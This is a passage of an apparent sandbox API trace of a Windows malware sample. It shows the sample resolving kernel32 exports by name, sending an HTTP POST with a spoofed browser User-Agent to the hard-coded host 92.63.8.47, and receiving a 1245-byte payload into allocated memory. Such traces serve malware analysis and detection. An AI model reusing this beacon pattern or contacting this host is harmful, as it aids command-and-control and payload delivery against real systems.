lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.121] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.122] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.122] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.122] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.122] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.122] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.122] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.122] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.122] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.123] wsprintfA (in: param_1=0x2ed0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /archive/fxc.action?sdp=q&g=6oix0&qbaa=6b&k=u7a7u HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.8.47\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 247\r\nConnection: Keep-Alive\r\n\r\n") returned 265 [0055.123] send (s=0x21c, buf=0x2ed0000*, len=512, flags=0) returned 512 [0055.124] shutdown (s=0x21c, how=1) returned 0 [0055.124] recv (in: s=0x21c, buf=0x2c4f830, len=1, flags=0 | out: buf=0x2c4f830*) returned 1 [0055.299] recv (in: s=0x21c, buf=0x2c4f831, len=1, flags=0 | out: buf=0x2c4f831*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f832, len=1, flags=0 | out: buf=0x2c4f832*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f833, len=1, flags=0 | out: buf=0x2c4f833*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f834, len=1, flags=0 | out: buf=0x2c4f834*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f835, len=1, flags=0 | out: buf=0x2c4f835*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f836, len=1, flags=0 | out: buf=0x2c4f836*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f837, len=1, flags=0 | out: buf=0x2c4f837*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f838, len=1, flags=0 | out: buf=0x2c4f838*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f839, len=1, flags=0 | out: buf=0x2c4f839*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f83a, len=1, flags=0 | out: buf=0x2c4f83a*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f83b, len=1, flags=0 | out: buf=0x2c4f83b*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f83c, len=1, flags=0 | out: buf=0x2c4f83c*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f83d, len=1, flags=0 | out: buf=0x2c4f83d*) returned 1 [0055.300] recv (in: s=0x21c, buf=0x2c4f83e, len=1, flags=0 | out: buf=0x2c4f83e*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f83f, len=1, flags=0 | out: buf=0x2c4f83f*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f840, len=1, flags=0 | out: buf=0x2c4f840*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f841, len=1, flags=0 | out: buf=0x2c4f841*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f842, len=1, flags=0 | out: buf=0x2c4f842*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f843, len=1, flags=0 | out: buf=0x2c4f843*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f844, len=1, flags=0 | out: buf=0x2c4f844*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f845, len=1, flags=0 | out: buf=0x2c4f845*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f846, len=1, flags=0 | out: buf=0x2c4f846*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f847, len=1, flags=0 | out: buf=0x2c4f847*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f848, len=1, flags=0 | out: buf=0x2c4f848*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f849, len=1, flags=0 | out: buf=0x2c4f849*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f84a, len=1, flags=0 | out: buf=0x2c4f84a*) returned 1 [0055.301] recv (in: s=0x21c, buf=0x2c4f84b, len=1, flags=0 | out: buf=0x2c4f84b*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f84c, len=1, flags=0 | out: buf=0x2c4f84c*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f84d, len=1, flags=0 | out: buf=0x2c4f84d*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f84e, len=1, flags=0 | out: buf=0x2c4f84e*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f84f, len=1, flags=0 | out: buf=0x2c4f84f*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f850, len=1, flags=0 | out: buf=0x2c4f850*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f851, len=1, flags=0 | out: buf=0x2c4f851*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f852, len=1, flags=0 | out: buf=0x2c4f852*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f853, len=1, flags=0 | out: buf=0x2c4f853*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f854, len=1, flags=0 | out: buf=0x2c4f854*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f855, len=1, flags=0 | out: buf=0x2c4f855*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f856, len=1, flags=0 | out: buf=0x2c4f856*) returned 1 [0055.302] recv (in: s=0x21c, buf=0x2c4f857, len=1, flags=0 | out: buf=0x2c4f857*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f858, len=1, flags=0 | out: buf=0x2c4f858*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f859, len=1, flags=0 | out: buf=0x2c4f859*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f85a, len=1, flags=0 | out: buf=0x2c4f85a*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f85b, len=1, flags=0 | out: buf=0x2c4f85b*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f85c, len=1, flags=0 | out: buf=0x2c4f85c*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f85d, len=1, flags=0 | out: buf=0x2c4f85d*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f85e, len=1, flags=0 | out: buf=0x2c4f85e*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f85f, len=1, flags=0 | out: buf=0x2c4f85f*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f860, len=1, flags=0 | out: buf=0x2c4f860*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f861, len=1, flags=0 | out: buf=0x2c4f861*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f862, len=1, flags=0 | out: buf=0x2c4f862*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f863, len=1, flags=0 | out: buf=0x2c4f863*) returned 1 [0055.303] recv (in: s=0x21c, buf=0x2c4f864, len=1, flags=0 | out: buf=0x2c4f864*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f865, len=1, flags=0 | out: buf=0x2c4f865*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f866, len=1, flags=0 | out: buf=0x2c4f866*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f867, len=1, flags=0 | out: buf=0x2c4f867*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f868, len=1, flags=0 | out: buf=0x2c4f868*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f869, len=1, flags=0 | out: buf=0x2c4f869*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f86a, len=1, flags=0 | out: buf=0x2c4f86a*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f86b, len=1, flags=0 | out: buf=0x2c4f86b*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f86c, len=1, flags=0 | out: buf=0x2c4f86c*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f86d, len=1, flags=0 | out: buf=0x2c4f86d*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f86e, len=1, flags=0 | out: buf=0x2c4f86e*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f86f, len=1, flags=0 | out: buf=0x2c4f86f*) returned 1 [0055.304] recv (in: s=0x21c, buf=0x2c4f870, len=1, flags=0 | out: buf=0x2c4f870*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f871, len=1, flags=0 | out: buf=0x2c4f871*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f872, len=1, flags=0 | out: buf=0x2c4f872*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f873, len=1, flags=0 | out: buf=0x2c4f873*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f874, len=1, flags=0 | out: buf=0x2c4f874*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f875, len=1, flags=0 | out: buf=0x2c4f875*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f876, len=1, flags=0 | out: buf=0x2c4f876*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f877, len=1, flags=0 | out: buf=0x2c4f877*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f878, len=1, flags=0 | out: buf=0x2c4f878*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f879, len=1, flags=0 | out: buf=0x2c4f879*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f87a, len=1, flags=0 | out: buf=0x2c4f87a*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f87b, len=1, flags=0 | out: buf=0x2c4f87b*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f87c, len=1, flags=0 | out: buf=0x2c4f87c*) returned 1 [0055.305] recv (in: s=0x21c, buf=0x2c4f87d, len=1, flags=0 | out: buf=0x2c4f87d*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f87e, len=1, flags=0 | out: buf=0x2c4f87e*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f87f, len=1, flags=0 | out: buf=0x2c4f87f*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f880, len=1, flags=0 | out: buf=0x2c4f880*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f881, len=1, flags=0 | out: buf=0x2c4f881*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f882, len=1, flags=0 | out: buf=0x2c4f882*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f883, len=1, flags=0 | out: buf=0x2c4f883*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f884, len=1, flags=0 | out: buf=0x2c4f884*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f885, len=1, flags=0 | out: buf=0x2c4f885*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f886, len=1, flags=0 | out: buf=0x2c4f886*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f887, len=1, flags=0 | out: buf=0x2c4f887*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f888, len=1, flags=0 | out: buf=0x2c4f888*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f889, len=1, flags=0 | out: buf=0x2c4f889*) returned 1 [0055.306] recv (in: s=0x21c, buf=0x2c4f88a, len=1, flags=0 | out: buf=0x2c4f88a*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f88b, len=1, flags=0 | out: buf=0x2c4f88b*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f88c, len=1, flags=0 | out: buf=0x2c4f88c*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f88d, len=1, flags=0 | out: buf=0x2c4f88d*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f88e, len=1, flags=0 | out: buf=0x2c4f88e*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f88f, len=1, flags=0 | out: buf=0x2c4f88f*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f890, len=1, flags=0 | out: buf=0x2c4f890*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f891, len=1, flags=0 | out: buf=0x2c4f891*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f892, len=1, flags=0 | out: buf=0x2c4f892*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f893, len=1, flags=0 | out: buf=0x2c4f893*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f894, len=1, flags=0 | out: buf=0x2c4f894*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f895, len=1, flags=0 | out: buf=0x2c4f895*) returned 1 [0055.307] recv (in: s=0x21c, buf=0x2c4f896, len=1, flags=0 | out: buf=0x2c4f896*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f897, len=1, flags=0 | out: buf=0x2c4f897*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f898, len=1, flags=0 | out: buf=0x2c4f898*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f899, len=1, flags=0 | out: buf=0x2c4f899*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f89a, len=1, flags=0 | out: buf=0x2c4f89a*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f89b, len=1, flags=0 | out: buf=0x2c4f89b*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f89c, len=1, flags=0 | out: buf=0x2c4f89c*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f89d, len=1, flags=0 | out: buf=0x2c4f89d*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f89e, len=1, flags=0 | out: buf=0x2c4f89e*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f89f, len=1, flags=0 | out: buf=0x2c4f89f*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f8a0, len=1, flags=0 | out: buf=0x2c4f8a0*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f8a1, len=1, flags=0 | out: buf=0x2c4f8a1*) returned 1 [0055.308] recv (in: s=0x21c, buf=0x2c4f8a2, len=1, flags=0 | out: buf=0x2c4f8a2*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a3, len=1, flags=0 | out: buf=0x2c4f8a3*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a4, len=1, flags=0 | out: buf=0x2c4f8a4*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a5, len=1, flags=0 | out: buf=0x2c4f8a5*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a6, len=1, flags=0 | out: buf=0x2c4f8a6*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a7, len=1, flags=0 | out: buf=0x2c4f8a7*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a8, len=1, flags=0 | out: buf=0x2c4f8a8*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8a9, len=1, flags=0 | out: buf=0x2c4f8a9*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8aa, len=1, flags=0 | out: buf=0x2c4f8aa*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8ab, len=1, flags=0 | out: buf=0x2c4f8ab*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8ac, len=1, flags=0 | out: buf=0x2c4f8ac*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8ad, len=1, flags=0 | out: buf=0x2c4f8ad*) returned 1 [0055.309] recv (in: s=0x21c, buf=0x2c4f8ae, len=1, flags=0 | out: buf=0x2c4f8ae*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8af, len=1, flags=0 | out: buf=0x2c4f8af*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b0, len=1, flags=0 | out: buf=0x2c4f8b0*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b1, len=1, flags=0 | out: buf=0x2c4f8b1*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b2, len=1, flags=0 | out: buf=0x2c4f8b2*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b3, len=1, flags=0 | out: buf=0x2c4f8b3*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b4, len=1, flags=0 | out: buf=0x2c4f8b4*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b5, len=1, flags=0 | out: buf=0x2c4f8b5*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b6, len=1, flags=0 | out: buf=0x2c4f8b6*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b7, len=1, flags=0 | out: buf=0x2c4f8b7*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b8, len=1, flags=0 | out: buf=0x2c4f8b8*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8b9, len=1, flags=0 | out: buf=0x2c4f8b9*) returned 1 [0055.310] recv (in: s=0x21c, buf=0x2c4f8ba, len=1, flags=0 | out: buf=0x2c4f8ba*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8bb, len=1, flags=0 | out: buf=0x2c4f8bb*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8bc, len=1, flags=0 | out: buf=0x2c4f8bc*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8bd, len=1, flags=0 | out: buf=0x2c4f8bd*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8be, len=1, flags=0 | out: buf=0x2c4f8be*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8bf, len=1, flags=0 | out: buf=0x2c4f8bf*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c0, len=1, flags=0 | out: buf=0x2c4f8c0*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c1, len=1, flags=0 | out: buf=0x2c4f8c1*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c2, len=1, flags=0 | out: buf=0x2c4f8c2*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c3, len=1, flags=0 | out: buf=0x2c4f8c3*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c4, len=1, flags=0 | out: buf=0x2c4f8c4*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c5, len=1, flags=0 | out: buf=0x2c4f8c5*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c6, len=1, flags=0 | out: buf=0x2c4f8c6*) returned 1 [0055.311] recv (in: s=0x21c, buf=0x2c4f8c7, len=1, flags=0 | out: buf=0x2c4f8c7*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8c8, len=1, flags=0 | out: buf=0x2c4f8c8*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8c9, len=1, flags=0 | out: buf=0x2c4f8c9*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8ca, len=1, flags=0 | out: buf=0x2c4f8ca*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8cb, len=1, flags=0 | out: buf=0x2c4f8cb*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8cc, len=1, flags=0 | out: buf=0x2c4f8cc*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8cd, len=1, flags=0 | out: buf=0x2c4f8cd*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8ce, len=1, flags=0 | out: buf=0x2c4f8ce*) returned 1 [0055.312] recv (in: s=0x21c, buf=0x2c4f8cf, len=1, flags=0 | out: buf=0x2c4f8cf*) returned 1 [0055.314] StrToIntA (lpSrc="1245") returned 1245 [0055.314] VirtualAlloc (lpAddress=0x0, dwSize=0x4dd, flAllocationType=0x3000, flProtect=0x4) returned 0x2f70000 [0055.314] recv (in: s=0x21c, buf=0x2f70000, len=1245, flags=0 | out: buf=0x2f70000*) returned 1245 [0055.314] VirtualFree (lpAddress=0x2f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.314] VirtualFree (lpAddress=0x2f60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.315] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.315] closesocket (s=0x21c) returned 0 [0055.315] WSACleanup () returned 0 [0055.316] VirtualFree (lpAddress=0x2f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.316] VirtualFree (lpAddress=0x2f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.317] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.317] VirtualFree (lpAddress=0x2f00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.317] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.317] lstrlenA (lpString="kernel32.dll") returned 12 [0055.317] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.317] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.318] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.318] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.318] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.318] lstrlenA (lpString="ADDATOMA") returned 8 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.318] lstrlenA (lpString="ADDATOMW") returned 8 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.318] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.318] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.318] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.318] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.318] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.318] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.318] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.318] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.318] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.318] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.318] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.318] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.318] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.319] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.319] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.319] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.319] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.319] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.319] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.319] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.319] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.319] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.319] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") 